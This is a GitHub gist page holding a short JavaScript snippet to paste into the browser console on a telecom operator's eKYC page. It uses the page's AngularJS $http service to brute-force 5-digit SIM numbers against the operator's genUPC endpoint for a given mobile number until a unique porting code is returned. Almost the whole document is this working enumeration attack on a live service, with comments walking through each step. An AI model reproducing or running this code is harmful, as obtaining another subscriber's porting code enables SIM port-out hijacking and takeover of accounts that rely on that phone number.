Created
April 1, 2018 18:54
-
-
Save neophyt3/ccb1fea9b47ecd1ae57c3a054e57c5d6 to your computer and use it in GitHub Desktop.
Revisions
-
neophyt3 created this gist
Apr 1, 2018 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,27 @@ //https://ekyc.aircel.com:444/ekyc/genUPC.html //this site uses angularjs //let take advantage of developer tools console tab //lets grab the http service of anugular js $http = angular.element(document.body).injector().get('$http') //so now, lets have a handy function to send post request //returns promise function sendPost(simnum){ return $http.post('https://ekyc.aircel.com:444/ekyc/rest/genUPC', {"service_id":"WEB_UPC","msisdn":"919768XXXXXX","sim":simnum})} //now we can take advantage of es6 async/await to synchronously loop.. async function loop() { //5 digit sim for (let i = 10000; i < 99999; i++) { let res = await sendPost(i) console.log(i); //if found.. print it and exit if(res.data.upc){ console.log(res.data.upc) break } } } // now we begin loop()